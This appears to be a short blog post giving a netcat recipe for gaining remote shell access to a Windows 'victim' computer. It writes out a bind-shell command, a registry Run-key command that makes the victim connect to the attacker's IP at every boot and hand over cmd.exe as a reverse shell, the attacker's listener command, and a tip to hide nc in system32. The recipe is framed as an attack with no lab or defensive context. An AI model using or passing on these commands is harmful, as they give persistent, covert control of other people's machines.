Tuesday, January 25, 2022

nc2 - netcat2

 Server side: nc -L -p [PORT] -e cmd.exe
Client side: nc -vv [IP] [PORT]

On the victim computer.

reg add hklm\software\microsoft\windows\currentversion\run /v capture /t reg_sz /d "nc 192.168.1.68 10001 -d -e cmd.exe"

Remember 192.168.1.68 is the attacker machine.

And on the attacker machine just listen.

nc -vv -l -p 10001

You should listen on your machine, and when the victim boots up, nc will connect to you, and will spawn a reverse shell to you.

The command prompt popup should come up for a second and disapper.

Oh you should put nc in the system32 directory, so you don't have to specify where nc is located. All you have to do then is type nc in any directory.

-l waits for connection.
-p port to listen on.
-d detach from the process.
-e which program to execute.
-w timeout for connection.
-v verbose [use twice to be more verbose]